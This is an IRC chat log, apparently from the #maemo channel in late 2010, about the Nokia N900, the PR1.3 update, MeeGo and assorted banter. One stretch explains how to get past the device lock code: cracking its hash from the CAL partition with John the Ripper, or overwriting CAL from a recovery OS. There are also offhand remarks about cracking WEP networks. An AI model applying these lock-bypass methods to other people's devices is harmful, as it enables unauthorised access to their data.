Khertan	jarkkom, and didn't find yet the changelog	10:51
mece	jarkkom, well it contains all that was included before featurefreeze, which is not a lot ;)	10:51
ruskie	Khertan, well found my answer: http://forum.meego.com/showpost.php?p=11703&postcount=8	10:52
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mece	the 1.2 branch is more interesting, but currently doesn't have a build that boots	10:52
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jarkkom	mece, but you can receive calls at least I hope?	10:55
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mece	jarkkom, yes you can.	11:14
defragger	is it possible to freeup roofs?	11:16
defragger	i only have 10MBl left :D	11:16
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marmoute	open the cell	11:17
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mece	defragger, how'd you manage that?	11:17
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defragger	dunno	11:17
chem\|st	mece: had one here with 3.x MB /...	11:17
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chem\|st	defragger: guess you need to uninstall some of the devel installs	11:18
defragger	kk, i tried already to free some space	11:19
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defragger	and 10MB is the result :D	11:19
jarkkom	mece, I guess it would need some additional binaries, that 1.1 image is just base UX stuff with placeholders	11:24
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Stskeeps	placeholders?	11:26
Stskeeps	:P	11:26
marmoute	defragger: just find what takes that much places	11:28
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sivang	morning	11:36
sivang	not even single reply, but hey, maybe nobdoy here reads maemo-community...	11:37
sivang	or maybe,the day is still youn.	11:37
sivang	young.	11:37
* sivang bbl		11:37
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Jaffa	sivang: I read it (well, skimmed it) - and it sounds interesting, but I couldn't quite tie up your mail, what it was you wanted and the abstract.	11:57
Jaffa	sivang: But I do have a drug-addled mind at the moment.	11:57
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aboyer	~pr1.3	12:29
infobot	somebody said pr1.3 was the latest (and probably last) software update for Fremantle, available since Monday October 25 2010. More information at http://conversations.nokia.com/2010/10/25/new-nokia-n900-software-update-available/ -- see ~flashing for how to update, or http://repository.maemo.org/stable/fremantle/Maemo_5_SDK_Release_Notes_v1_7_en.txt, or http://mg.pov.lt/maemo-irclog/%23maemo.2010-10-26.log.html#t2010-10-26T03:02:54	12:29
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Shapeshifter	I'm trying to run asphalt 5 on the n900 and I see that I'd need to create a symlink, but if I do ls -s /home/user/webos/gamesave/ /media/internal I get an error: ls: /media/internal: No such file or directory	12:36
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Shapeshifter	well strange	12:45
Shapeshifter	now it worked, so nvm	12:45
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defragger	is it possible to dualboot meego and maemo?	13:10
RobbieThe1st	More than likely	13:11
defragger	any good howto about that?	13:12
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X-Fade	defragger: You could ask google, pretty sure the first hit is what you need.	13:14
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defragger	thought any experience about that :)	13:16
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lcuk	defragger, dual booting prototype instructions: http://wiki.meego.com/ARM/N900/Install/U-Boot_from_scratch	13:18
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lcuk	not yet user friendly and if you notice any sticking points, please discuss in #meego-arm with stephg and Stskeeps and some of the other guys looking at it	13:18
defragger	ok thx :)	13:19
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timeless_mbp	crashanddie: so, it turns out i had an eToken Pro 4254 usb pki module from an rsa conf	13:22
KaffeeJunky123	Is there all ready an application to automatically switch the default phonecall network when connected with a certain wifi access point?	13:22
KaffeeJunky123	or do have to hack something together with dbus?	13:23
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ShadowJK	ah great, over 2 weeks at nokia care, and they failed to fix my N900 :/	13:35
ShadowJK	and just returned it with an ovi advertisement sticker on the display	13:35
KaffeeJunky123	what happend to it?	13:35
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ShadowJK	the cellular modem is loose or something	13:35
KaffeeJunky123	I mean, why did you send it to nokia in the first place	13:35
KaffeeJunky123	oh	13:35
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ShadowJK	the modem crashes when I put phone in pocket, or walk	13:35
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Dassu	...	13:36
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Myrtti	grumpgrump	13:38
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lcuk	Myrtti, coffee to ungrump?	13:47
Myrtti	lcuk: tried it, doesn't work	13:48
KaffeeJunky123	try more	13:48
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Myrtti	I've decided to go take the phone fixed today, I guess it has an effect on the grumpiness	13:48
KaffeeJunky123	if that doesn't help chew some coca leafs	13:48
Myrtti	would kaffir limeleaves work?	13:49
Myrtti	I have those	13:49
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ieatlint	try some kaffir lime vodka instead	13:50
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KaffeeJunky123	this ^	13:51
KaffeeJunky123	should work as well	13:51
Myrtti	I've tried brandy, cider and wine since the phone broke without success	13:51
Myrtti	so I doubt it would work, tbh	13:51
KaffeeJunky123	http://xkcd.com/323/	13:52
ieatlint	you haven't tried whiskey, beer or vodka... your tests are inconclusive	13:52
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KaffeeJunky123	should work on phone fixing skills the same way	13:52
ieatlint	KaffeeJunky123: it's real	13:52
ieatlint	i've seen it	13:52
ieatlint	and experienced it	13:52
KaffeeJunky123	yeah	13:53
KaffeeJunky123	it's in unexpected local maximum	13:53
KaffeeJunky123	*an	13:53
* SpeedEvil knows too much xkcd.		13:53
SpeedEvil	I assume that's the 'ballmer peak' one?	13:53
ieatlint	indeed	13:53
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KaffeeJunky123	http://xkcd.com/292/ is still my favourite though	13:54
ieatlint	knuth would disagree :P	13:54
KaffeeJunky123	it's for C++ programmers only	13:55
DocScrutinizer	ShadowJK: :-/	13:55
ieatlint	http://xkcd.com/612/ is an awesome one	13:55
RobbieThe1st	...Wow. It worked! I deleted everything from the OptFS, then flashed PR1.3, and it booted	13:55
SpeedEvil	I like 123	13:55
SpeedEvil	It's awesome on so many levels.	13:55
RobbieThe1st	Apparently, all needed files are in the rootfs image	13:56
ieatlint	:P	13:56
KaffeeJunky123	I can take on calls at home with my n900	13:57
KaffeeJunky123	I mean from my normal phone line	13:57
ieatlint	people still don't believe me when i try to convince them that centrifugal force is what keeps a bicycle vertical :(	13:57
Myrtti	322 is my fave, for obvious reasons	13:57
KaffeeJunky123	fritz box + n900 = epic win	13:57
ieatlint	"no, it's because of the forward momentum"	13:57
KaffeeJunky123	ieatlint: what sort of people?	13:58
ieatlint	geeks even	13:58
KaffeeJunky123	sounds like engineers to me	13:58
KaffeeJunky123	:>	13:58
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SpeedEvil	I thought it was gyroscopic precession of the wheel.	14:01
toggles	when stationary?	14:01
SpeedEvil	How is centrifugal force involved?	14:01
ieatlint	same difference :P	14:02
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mgedmin	Myrtti++	14:03
DocScrutinizer	Myrtti: :-D	14:04
* mgedmin likes that xkcd skipped comic 404		14:04
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DocScrutinizer	705 and 424 here. And recently 806	14:07
* mgedmin wonders if supybot has an xkcd plugin		14:07
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DocScrutinizer	ascii art?	14:08
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sx0n	heh:)	14:09
mgedmin	actually, an irc client that would show images inline would be even better	14:10
ieatlint	DocScrutinizer: that just brought back bad memories of tech support	14:10
lcuk	mgedmin, :)	14:10
ieatlint	on both sides of the phone :(	14:10
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lcuk	mgedmin, http://liqbase.net/liq.20091201_141600._maemo.scr.png	14:11
mgedmin	ooh	14:12
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ieatlint	lcuk: that can horribly backfire on you when i paste a link to goatse.png	14:12
BCMM	i remember seeing a nice gallery of photographs taken using fcam (i can't remember if it was on the n900 or not), but i can't find it now	14:12
BCMM	anyone got it bookmarked or something?	14:12
lcuk	ieatlint, bah	14:12
lcuk	mgedmin, i think it should be in conversations view etc, for mmses and stuff as well	14:13
lcuk	basically, intelligent parsing of the data	14:13
mgedmin	and intelligent filtering of goatses out	14:14
lcuk	mgedmin, can count on number of fingers how often bad links have been posted in the private communications i have	14:14
lcuk	same for public chans also	14:14
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* lcuk glares @ kerio		14:15
mgedmin	once is too often	14:15
KaffeeJunky123	after I reflashed, there was music on my n900	14:15
KaffeeJunky123	is that normal?	14:15
lcuk	sure, but thats down to individuals who should know better	14:15
BCMM	KaffeeJunky123: yeah, it comes with a few tracks	14:17
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KaffeeJunky123	BCMM: creepy	14:19
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mgedmin	oO?	14:20
BCMM	KaffeeJunky123: didn't you have them when the device was new?	14:20
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KaffeeJunky123	BCMM: I've bought a used one	14:21
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BCMM	and you didn't immediately reflash?	14:21
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KaffeeJunky123	I did	14:22
KaffeeJunky123	immediatly after making sure the device worked	14:22
* mgedmin is surprised the previous owner didn't reflash before selling		14:25
ieatlint	i'd theorise that the guy who sells his n900 isn't as technically minded as you might hope.. that is, enough to think to reflash and do it	14:26
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SpeedEvil	Also, they may have installed backdoors.	14:27
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KaffeeJunky123	ieatlint: well, a midnight commander was installed	14:28
ieatlint	i sold an n900 to the mozilla foundation... i should've installed a backdoor	14:28
KaffeeJunky123	ieatlint: and an xterm shortcut was on the main desktop :>	14:28
ieatlint	KaffeeJunky123: mc... exactly! :P	14:29
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Myrtti	when I bought my N800, it wasn't reflashed and the 4GB memory card was filled with Ministry of Sound and David Bowie, which I didn't mind	14:30
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KaffeeJunky123	my n900 does detect networks I can't see with my computers wireless ^^	14:35
KaffeeJunky123	I guess the driver for my wireless device sucks	14:35
ieatlint	are they 802.11n networks? :P	14:35
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KaffeeJunky123	ieatlint: I didn't take a look at them	14:37
KaffeeJunky123	even though one is onle wep encrypted <_<	14:37
KaffeeJunky123	could crack that with aircrack in about 2minutes	14:37
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DocScrutinizer	lcuk: wasn't there some html exploit sending IRC spam with the link to the exploited page?	14:40
lcuk	?	14:40
Myrtti	DocScrutinizer: yes	14:40
KaffeeJunky123	oh crap	14:40
KaffeeJunky123	I accidently locked the phone	14:40
KaffeeJunky123	and I didn't set a lock code yet	14:41
DocScrutinizer	back in pre-ircd7 days	14:41
KaffeeJunky123	o_O	14:41
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crashanddie	shortcut fai	14:41
crashanddie	l	14:41
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KaffeeJunky123	what should I do now?	14:41
KaffeeJunky123	is there a default lock code?	14:41
mgedmin	KaffeeJunky123, try the default, which is 12345	14:41
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DocScrutinizer	I remember me posting "DO NOT CLICK THAT LINK!" here in this chan	14:42
KaffeeJunky123	mgedmin: it says wrong code	14:42
mgedmin	uh oh	14:42
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Jenna	hi guyz.	14:42
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mgedmin	contact the previous owner, ask for the lock code?	14:42
KaffeeJunky123	I reflashed it	14:42
KaffeeJunky123	shouldn't it be resett?	14:42
Myrtti	no	14:42
KaffeeJunky123	flashed rootfs and eMMc	14:42
KaffeeJunky123	new sim	14:43
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mgedmin	it might be possible to reset it somehow, I think	14:43
KaffeeJunky123	etc	14:43
Jenna	just wanted to know whats the difference with the different firmware versions . i.e region. What could go wrong if I update to say an european or African version ?	14:43
DocScrutinizer	KaffeeJunky123: 12345	14:43
mgedmin	sim's pin != device lock code	14:43
DocScrutinizer	oh, mgedmin said that	14:43
mgedmin	the lock code is stored somewhere in a partition (?) that's not touched by the flasher	14:43
Myrtti	atleast on N800 had to do some detective work to find out the lock code	14:43
DocScrutinizer	also resetting lockcode is http://talk.maemo.org/showthread.php?p=524522#post524522	14:44
mgedmin	at least you can reboot it without having to enter the code	14:44
DocScrutinizer	mgedmin: in CAL	14:44
DocScrutinizer	which actually is a NAND partition	14:44
Termana	~lockcode	14:44
KaffeeJunky123	i'll try rebooting	14:44
Termana	infobot, lockcode is http://talk.maemo.org/showthread.php?p=524522#post524522	14:44
infobot	okay, Termana	14:44
KaffeeJunky123	seems to work	14:44
Myrtti	you still need the old lock code to get rid of it	14:45
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Myrtti	IIRC	14:45
DocScrutinizer	Myrtti: nope, just john the ripper	14:45
mgedmin	DocScrutinizer++	14:45
mgedmin	Termana++	14:45
ieatlint	you can install ssh without knowing the lockcode? awesome... :P	14:47
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DocScrutinizer	umm, you need to have it configured prior to forgetting your lockcode :-P	14:48
mgedmin	well, if you don't configure it to ask for the lock code on boot, you can do anything you want	14:48
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ieatlint	fair enough, hehe	14:48
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ieatlint	can you reflash without knowing the lockcode?	14:49
DocScrutinizer	or you overwrite CAL with defaults (default "hash" for lockcode also is '12345' XP )	14:49
Termana	ieatlint, yes	14:49
DocScrutinizer	ieatlint: yes, but usually a reflash doesn't reset lockcode	14:49
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Termana	So technically you can load up a recovery console or other OS and then do what DocScrutinizer just said	14:50
ieatlint	yeah, but it could then be used to install an sshd even with it set to ask for lock code on boot	14:50
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DocScrutinizer	exactly ieatlint Termana	14:50
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ieatlint	ultimately, the lock code is useless to someone with motivation and technical skill (although i guess it could protect info stored on the device, as you'd overwrite the emmc)	14:51
KaffeeJunky123	can I get john to use a second job, so it fully exploits my dual core?	14:51
KaffeeJunky123	oh	14:51
KaffeeJunky123	nvm	14:51
KaffeeJunky123	it finished	14:51
KaffeeJunky123	^_^	14:51
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ieatlint	:P	14:51
DocScrutinizer	:-P	14:51
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KaffeeJunky123	guesses: 1 time: 0:00:01:28 c/s: 1151K trying: 88763577 - 88763561	14:52
DocScrutinizer	a funny not quite obvious (at least to me) detail of john: all results are stored in a file, and so trying same hash again won't give any "new" results	14:54
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KaffeeJunky123	I'm amazed at how fast john cracked that key	14:55
KaffeeJunky123	even though it only used one core of my cpu	14:55
DocScrutinizer	I was like "#!!@%& why doesn't it work anymore??"	14:55
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KaffeeJunky123	does john come with cuda by default now?	14:55
KaffeeJunky123	maybe	14:55
KaffeeJunky123	because it was so fast	14:55
ieatlint	well, think about the code	14:57
ieatlint	numeric, so each char is 0-9	14:57
ieatlint	so brute force is easy as hell	14:57
KaffeeJunky123	it's still 8^10	14:57
DocScrutinizer	yes	14:57
DocScrutinizer	more like 10^5	14:58
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ieatlint	1151k keys per second	14:58
ieatlint	you'll break that in no time..	14:58
KaffeeJunky123	true true	14:58
KaffeeJunky123	and the new identiy card in germany is secured with a 6 number pin ._.	14:59
DocScrutinizer	haha	14:59
ieatlint	bear in mind 1151k == 1.151 million keys per second	14:59
KaffeeJunky123	it's using a freakin' RFID	14:59
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KaffeeJunky123	imagine a guy with a laptop and an RFID reader	14:59
ieatlint	ah, but have you ever tried to brute force rfid?	14:59
KaffeeJunky123	+ john	14:59
KaffeeJunky123	nope	14:59
* ieatlint has		14:59
KaffeeJunky123	so it's slow?	15:00
ieatlint	your throughput allows you to do maybe 10 keys per second	15:00
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ieatlint	so good luck with that :P	15:00
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KaffeeJunky123	well	15:01
X-Fade	ieatlint: Only 28 hours then.	15:01
KaffeeJunky123	yeah	15:01
KaffeeJunky123	still too much if you lost that thing	15:01
ieatlint	X-Fade: then i'm guessing there's more to it than that, or you guys are fucked :P	15:01
KaffeeJunky123	yes there is	15:02
KaffeeJunky123	you need a special key as well	15:02
X-Fade	Well, you need to know the key too.	15:02
DocScrutinizer	also this "PIN" is really just that, a somewhat personalized OK button. The "security" is in possessing the ID card, and the authentication via internet is much better than the PIN OK	15:02
X-Fade	Which consists of MRZ data.	15:02
KaffeeJunky123	but you could probably rip that from a reading device	15:02
X-Fade	Or rather, gets generated from.	15:02
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ieatlint	heh, people freaked out enough here about the rfid passports	15:03
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ieatlint	trying to issue an rfid id card would be like suggesting a suspension of habeas corpus	15:03
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ieatlint	only this time, without george bush and the patriot act	15:04
KaffeeJunky123	so you're from the us of the a	15:04
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ieatlint	indeed	15:05
ieatlint	it's ok, i'm from the less annoying part, california	15:05
Myrtti	depends on where in california	15:05
ieatlint	sf :P	15:05
* DocScrutinizer wonders if there's a lock on too many false PIN entries in those ID cards - like with SIMs		15:06
Myrtti	ieatlint: congrats, you get a rainbow and unicorn sticker	15:06
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ieatlint	indeed... them unicorns have really made a comeback recently	15:06
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KaffeeJunky123	DocScrutinizer: probably not	15:06
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DocScrutinizer	last time crashanddie and me discussed this very topic, we agreed on it'd be way better to have the keypad to enter pin on the ID card. It's so easy	15:09
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mgedmin	and your fingerpints would nicely let people know which digits you actually use	15:09
DocScrutinizer	lcuk: what's up?	15:09
nid0	except with use, on a card like that, it'd start becoming blatantly obvious which buttons you press	15:09
ieatlint	mgedmin: eh, inconclusive, as unlike a pinpad, you'd touch the card all over while handling it	15:10
lcuk	mm DocScrutinizer ? just dc'ed	15:10
DocScrutinizer	:-)	15:10
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ieatlint	there's a company that just started an awesome product to update credit cards... it erases the magstripe on the card after a timeout, and to rewrite it, you have to enter a pin on the card	15:12
ieatlint	let me see if i can find the link for it... but if they can do it, i don't see why an id card can't :P	15:12
nid0	visa demoed one of those cards a while back with a pin pad on the back, but theyre just little plastic clicky buttons, the ones you actually use would wear down really obviously	15:12
* Myrtti wonders what good it makes to deactivate the magstripe when you can just type in the numbers on any webshop...		15:13
ieatlint	nid0: eh... i suspect it's possible to find workarounds for that issue	15:13
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DocScrutinizer	(card) I just say goldcap, e-ink display for "random" keypad orientation and position, and a 40*40 piezo input touchpad	15:13
ieatlint	that sounds cheap :P	15:14
ieatlint	especially with e-inks licencing fees	15:14
Jaffa	Ha	15:14
Jaffa	meego-dev has just confirmed the name of the Harmattan device :-)	15:14
ieatlint	also, rfid has the undeniable feature that it has no battery	15:14
SpeedEvil	unless it does.	15:14
sjk	I've got a silly question: Why are people using Maemo phones and not MeeGo phones?	15:14
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SpeedEvil	Many sorts of RFID have battery.	15:15
maybeWTF	because there are no meego phones	15:15
SpeedEvil	sjk: becasue there are ...	15:15
SpeedEvil	that	15:15
Jaffa	Anyone know what a "tele coil" is?	15:15
sjk	So MeeGo only exists in the laboratory so far? :)	15:15
Jaffa	http://lists.meego.com/pipermail/meego-dev/2010-October/006884.html	15:15
DocScrutinizer	Jaffa: ????	15:15
ieatlint	there's not even a released meego handset ux :P	15:15
DocScrutinizer	aah	15:15
Jaffa	DocScrutinizer: "qtn_sett_main_about About my N9 (Warranty, About product)"	15:15
* Myrtti pokes a flag of FAIL on the cake		15:16
crashanddie	mgedmin, nid0: you have "ears" around the keypad so people wouldn't look which code you press, the same can be imagined where you insert your hand and card	15:16
maybeWTF	btw, am i a bad person if pr1.3 & that webos preenv thing made me love my n900 even more?	15:16
X-Fade	Jaffa: Hehe, you noticed it too :)	15:16
SpeedEvil	As far as 'in the laboratory' at the moment, they're at the leyden jar, jacobs ladder, and brain dug up from a cemetry stagr.	15:16
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Jaffa	X-Fade: :-)	15:16
maybeWTF	abby normal?	15:16
ieatlint	maybeWTF: yes.	15:16
Stskeeps	ieatlint: uhm.. we have handset ux	15:16
ieatlint	Stskeeps: you have an alpha preview release	15:17
Termana	Jaffa, we already knew it was N9 anyway :p	15:17
ieatlint	talk to me when 1.1 hits :P	15:17
mece	Jaffa: good one :D (tweet)	15:17
Termana	ieatlint, 1.1 has hit	15:17
SpeedEvil	I wonder how much effort it would take to make a 'proper' webos compatibility layer ffor game devs and stuff to just say 'OK' and be able to run it.	15:17
ieatlint	oh. :)	15:17
mece	ieatlint, talking...	15:17
ieatlint	apparently i missed the news	15:17
ieatlint	knew it was pending, heh	15:17
Termana	SpeedEvil, what's "not proper" about preenv?	15:18
mece	well it was due 27.10, and it's now 28.10, so it's out.	15:18
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sjk	Hrm, but the N900 seems to support MeeGo as well?	15:18
nid0	SpeedEvil: half the problem is that a "proper" compatibility layer would also have to ship with a multitouch screen to bolt onto the device	15:18
Termana	sjk, yes	15:18
ieatlint	glad to see meego.com is not updated :P	15:18
maybeWTF	works well enough for racing games :P	15:18
maybeWTF	also, xplane	15:18
nid0	being as loads of the software preenv can run fine simply doesnt work properly because it needs multitouch	15:18
pupnik_	you mean from that huge webOS games catalog...?	15:19
sjk	Why doesn't people use MeeGo on the N900 then?	15:19
Termana	ieatlint, well honestly, I'm not sure whether it has made an official release yet, but the 1.1 trunk has been locked	15:19
Termana	sjk, it's not fully ready yet	15:19
maybeWTF	pupnik_: well it basically what? tripled? the commercial game "catalog" overnight	15:19
maybeWTF	for the n900	15:19
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Myrtti	sjk: with varying values for "support"	15:19
ieatlint	Termana: awesome...	15:19
Termana	ieatlint, so, basically the latest daily for the n900 would be 1.1 anyway	15:19
mece	now we need to build a palm pre faker browser that can download the games from palm catalog	15:19
maybeWTF	next step: install webos on the n900!	15:20
* maybeWTF runs away		15:20
mece	get the cash where it's due, and enable people (and by people I mean me) to get at the games.	15:20
Termana	mece, if the Pre just does it through a browser, we could do a user agent change	15:20
Termana	That would be simple	15:20
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ieatlint	i'll look forward to when the u-boot update package hits extras-devel... don't feel like fucking up my main phone to try and get meego on it in the meantime	15:21
Termana	But, also the Pre will only let you purchase things in certain countries. So :p	15:21
loufoque_	~pr1.3	15:21
infobot	methinks pr1.3 is the latest (and probably last) software update for Fremantle, available since Monday October 25 2010. More information at http://conversations.nokia.com/2010/10/25/new-nokia-n900-software-update-available/ -- see ~flashing for how to update, or http://repository.maemo.org/stable/fremantle/Maemo_5_SDK_Release_Notes_v1_7_en.txt, or http://mg.pov.lt/maemo-irclog/%23maemo.2010-10-26.log.html#t2010-10-26T03:02:54	15:21
mece	Termana, who has a pre?	15:21
mece	anyone?	15:21
Termana	mece, alterego's girlfriend	15:21
loufoque_	no OTA for PR1.3 yet?	15:21
mece	can you install pre catalog stuff from browser?	15:21
mgedmin	loufoque_, it was out days ago, unless you're talking about the UK variant	15:21
Termana	mece, I don't know, I was asking you because I thought you knew	15:21
mece	loufoque_, wot? I ota'd mine this monday.	15:21
nid0	loufoque_: yes, days ago, unless you're unlucky enough to be on uk firmware	15:22
mece	Termana, just being hopeful.	15:22
mece	nid0, still no uk firmware???	15:22
loufoque_	i'm on uk firmware	15:22
loufoque_	I should have flashed to general firmware	15:22
ieatlint	nokia hates the brits	15:22
ieatlint	i think it's because of wales..	15:22
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nid0	mece dont think so - I reflashed mine straight to global at the first 1.1 fiasco and havent ever gone back, but I know several people at least yesterday were mentioning there wasnt one yet	15:22
mece	well they loved brits at the pr1.2 release.	15:22
loufoque_	do I loose all PIM info when flashing?	15:23
mece	loufoque_, I believe a backup helps.	15:23
Termana	loufoque_, unless you backup and restore after	15:23
Termana	(data)	15:23
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mece	the maemo twitter widget got updated today btw. works now.	15:23
loufoque_	Termana: is there a way to backup just the PIM stuff? I don't want to restore all my apps etc., I'd rather have a fresh satart	15:23
sx0n	ieatlint, who could ever hate monty pythons ;)	15:24
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nid0	untick the "applications" box when taking the backup	15:24
mece	loufoque_, try the backup program. you can choose what to backup. Also you can ignore stuff from the app list backup if you wish, after flash.	15:24
* DocScrutinizer wonders idly if "reset to factory defaults" in settings will also reset lock-code in CAL		15:25
mece	loufoque_, so it's nice that you back them up and then just uncheck the stuff you don't want.	15:25
Jaffa	Termana: We "knew" it was the N9, but I don't remember seeing it referred to - directly - as such by a Nokian.	15:25
DocScrutinizer	I suppose settings is a closed app?	15:25
loufoque_	isn't the N9 symbian^3?	15:25
mece	no. meego	15:25
Jaffa	loufoque_: That's N8	15:25
ieatlint	sx0n: yeah, well, scotland's not exactly helping	15:25
mece	ieatlint, or brum...	15:25
ieatlint	:P	15:26
mece	(I have no idea if there's anything wrong with brum, it's just a funny name)	15:26
Myrtti	Jaffa: well, technically not Nokian	15:27
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DocScrutinizer	err? Juhasz Gabor ext-gabor.2.juhasz at nokia.com	15:28
Myrtti	DocScrutinizer: magic keyword: "ext-"	15:28
DocScrutinizer	heh	15:28
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Jaffa	Hmm. Just noticed in the former mail: To: "harmattan-changes@projects.maemo.org"	15:29
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DocScrutinizer	well, knowing about the name is so... moot	15:29
pigeon	hmm, i keep getting ext2 errors from a loop back fs file that i have repeatedly created fresh on ~/MyDocs/	15:29
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DocScrutinizer	hmm	15:30
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DocScrutinizer	pigeon: this suggests what?	15:31
pigeon	it's weird, a 256MB fs seems fine, 512 or large usually breaks	15:31
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DocScrutinizer	well, loopback on vfat isn't exactly trivial. Maemo doesn't help either	15:33
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N900_athens	hello ! anybody from greece with n900.	15:34
DocScrutinizer	I'd suggest you try same config on SD card	15:35
KaffeeJunky123	nope they don't have the money to afford one in greece	15:35
pigeon	something funny with the internal flash you reckon?	15:35
DocScrutinizer	there've been few reports of general bad blocks on eMMC - probably bad chips or soldering	15:36
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N900_athens	hello ! anybody from greece with n900?	15:36
pigeon	ok	15:36
pigeon	thanks	15:36
DocScrutinizer	but that should show up on all IO to eMMC	15:36
loufoque_	can someone point me to the pr1.3 changes?	15:37
N900_athens	what about the maemo 1.3 in greece?	15:37
DocScrutinizer	https://garage.maemo.org/plugins/ggit/browse.php/?p=h-e-n;a=commitdiff;h=a2abd51199b9e61542a24ae9086ac1c6263106c4#patch9	15:37
DocScrutinizer	loufoque_: ^^^	15:37
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DocScrutinizer	kernel only	15:37
loufoque_	DocScrutinizer: how about something more accessible?	15:38
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* DocScrutinizer shrugs		15:38
DocScrutinizer	~pr1.3	15:38
infobot	hmm... pr1.3 is the latest (and probably last) software update for Fremantle, available since Monday October 25 2010. More information at http://conversations.nokia.com/2010/10/25/new-nokia-n900-software-update-available/ -- see ~flashing for how to update, or http://repository.maemo.org/stable/fremantle/Maemo_5_SDK_Release_Notes_v1_7_en.txt, or http://mg.pov.lt/maemo-irclog/%23maemo.2010-10-26.log.html#t2010-10-26T03:02:54	15:38
DocScrutinizer	first link, if that meets your taste better	15:39
loufoque_	it just says it runs faster and smoother than before	15:39
DocScrutinizer	I know what it says	15:40
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loufoque_	that's not much info	15:40
DocScrutinizer	mhm	15:40
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DocScrutinizer	but easily accessible	15:41
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felipec	has anyone had problems with the system hanging completely with PR1.3?	15:43
MohammadAG51	nope, not here at least	15:44
N900_athens	anybody knows why my n900 does not have avail pr1.3 @ nokia.com or via OTA?	15:46
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* DocScrutinizer feeds Nokia with cherries until they suffocate from the stones		16:00
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DocScrutinizer	this is Not My Nokia :-/	16:01
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* DocScrutinizer wonders if a kernel patch like "kill each process that tries to read a file with pathname /home/user/.cherry_state" would go upstream		16:04
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chem\|st	DocScrutinizer: I doubt it	16:05
loufoque_	DocScrutinizer: why should that be in the kernel	16:05
DocScrutinizer	because when it's in kernel mainstream, Nokia had a hard time kicking it out again	16:05
DocScrutinizer	just silly daydreaming	16:06
* MohammadAG51 ponders on how to create custom rootfss		16:06
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MohammadAG51	technically	16:06
MohammadAG51	we can have PR1.4	16:06
MohammadAG51	a coomunity one at least	16:06
MohammadAG51	first thing to go would be cherry	16:06
N900_athens	hello!	16:06
mgedmin	what's cherry?	16:06
MohammadAG51	UK user?	16:06
X-Fade	MohammadAG51: Just greate a jffs2 partion and put files in it?	16:06
MohammadAG51	MyNokia=cherry	16:07
MohammadAG51	jffs2?	16:07
N900_athens	anybody knows why my n900 does not have avail pr1.3 @ nokia.com or via OTA?	16:07
DocScrutinizer	http://wiki.maemo.org/PR1.2_compulsory_My_Nokia_subscription	16:07
MohammadAG51	The N900 uses ubifs	16:07
mgedmin	what's mynokia?	16:07
X-Fade	Or ubi, whaever.	16:07
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MohammadAG51	Stskeeps, had a way I think :P	16:07
chem\|st	mgedmin: it is something like an sms subscription	16:07
MohammadAG51	that doesn't work :P	16:07
MohammadAG51	at least in IL	16:07
mgedmin	why haven't I ever seen this after upgrading to PR1.2?	16:08
MohammadAG51	yet it always says subscribed	16:08
mgedmin	is that a country-specific-firmware thing?	16:08
MohammadAG51	mgedmin, have you ever seen your bill post 1.2?	16:08
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mgedmin	yes, I get my bill SMSed to me every month	16:08
X-Fade	I didn't get an sms telling me there was an update.	16:08
MohammadAG51	i never do	16:08
mgedmin	I haven't seen any SMSes mentioning MyNokia	16:08
MohammadAG51	yet it says subscibed	16:08
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chem\|st	mgedmin: it is global I think... for countries without shortnumber it sends directly to finlandia	16:08
chem\|st	mgedmin: it doesnt mention anything	16:09
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chem\|st	mgedmin: it sends one	16:09
DocScrutinizer	the SMS is hidden	16:09
mgedmin	I remember the outcry for some kind of "do you want to subscribe" dialog without a "no" button	16:09
mgedmin	I've never seen that dialog	16:09
DocScrutinizer	means doesn't show up in conversations	16:09
MohammadAG51	uses dbus	16:10
X-Fade	mgedmin: Change simcard and see it in action.	16:10
chem\|st	DocScrutinizer: not realy... an empty msg window should popup with the number on top (at least it did at mine)	16:10
Termana	MohammadAG51, you can create a flashable image for the N900	16:10
MohammadAG51	chem\|st, none here	16:10
MohammadAG51	Termana, duh, MeeGo does it, how? :P	16:10
X-Fade	mgedmin: It only runs when the fresh device/location selection is running.	16:10
chem\|st	MohammadAG51: yeah it is not shown in conversations	16:10
DocScrutinizer	let's all send 500g cherries to Nokia Finland! :-P	16:10
Myrtti	Jaffa: karma bites you in the ass for using Outlook	16:10
mgedmin	X-Fade, thanks for the info	16:10
Termana	MohammadAG51, MeeGo doesn't flash the N900's rootfs :p And hold your horses I'm getting you the instructions	16:11
chem\|st	DocScrutinizer: why not order 500tonns on behalf of nokia	16:11
DocScrutinizer	alternatively 1L cherry juice or a glas of cherry jam	16:11
DocScrutinizer	chem\|st: also a nice idea	16:11
MohammadAG51	Termana, hmm, I think it did	16:11
Myrtti	I wouldn't mind getting some myself. Cherries are a bit rare sight in most of the stores in Finland	16:11
MohammadAG51	i might be wrong	16:11
chem\|st	they would sue me but ok...	16:11
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Termana	MohammadAG51, you are wrong	16:12
MohammadAG51	Termana, hmm, sure?	16:12
Termana	MohammadAG51, you can flash a u-boot + maemo kernel, but that is optional	16:12
Jaffa	Myrtti: Work standard :-(	16:12
Termana	and it doesn't touch the rootfs	16:12
MohammadAG51	Termana, i said old	16:12
MohammadAG51	uboot wasn't even there	16:12
Termana	MohammadAG51, wtf are you talking about. Firstly, MeeGo never did it. Secondly, you never said old either	16:13
Termana	MohammadAG51, here's the instructions: http://mer-project.blogspot.com/2010/01/making-flashable-rootfss-for-n900.html	16:13
chem\|st	well and all the kexec warm wind is nothing but warm wind yet	16:13
MohammadAG51	Termana, <Stskeeps> we used to	16:13
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MohammadAG51	Termana, MeeGo 1.0 did, when it didn't have a UI	16:14
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Termana	MohammadAG51, fine, the first bit is invalidated but you still never said old	16:14
MohammadAG51	<MohammadAG51> Termana, hmm, I think it did	16:14
MohammadAG51	did = past tense :P	16:14
* DocScrutinizer kicks of the "Nokia needs cherries, community helps" movement		16:15
Termana	MohammadAG51, sneaky :p	16:15
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DocScrutinizer	Jaffa: ^^^ a small blog on that topic?	16:15
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DocScrutinizer	off even	16:15
Termana	DocScrutinizer, are we sending some cherries in the mail to Nokia workers?	16:16
MohammadAG51	DocScrutinizer, my current plans for the SSU are to kill the metapackage	16:16
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MohammadAG51	DocScrutinizer, dpkg -r cherry after that	16:16
DocScrutinizer	Termana: or cherry juice, chewing gums, cherry stone cushions... whatever	16:16
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DocScrutinizer	Nokia gives us cherry, we return to sender :-P	16:17
MohammadAG51	but, you will need 1.3 for the SSU	16:17
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MohammadAG51	i'll also add the pulseaudio patch, apparently it was meant for the 1.2 kernel	16:17
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MohammadAG51	1.3*	16:18
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DocScrutinizer	X-Fade: what would be the right geographical address to send those cherry products?	16:18
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MohammadAG51	1 infinite loop	16:18
Termana	MohammadAG51, I don't think we need to let Apple know of Nokia's stupidity in this situation	16:19
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Termana	(the cherry situation)	16:19
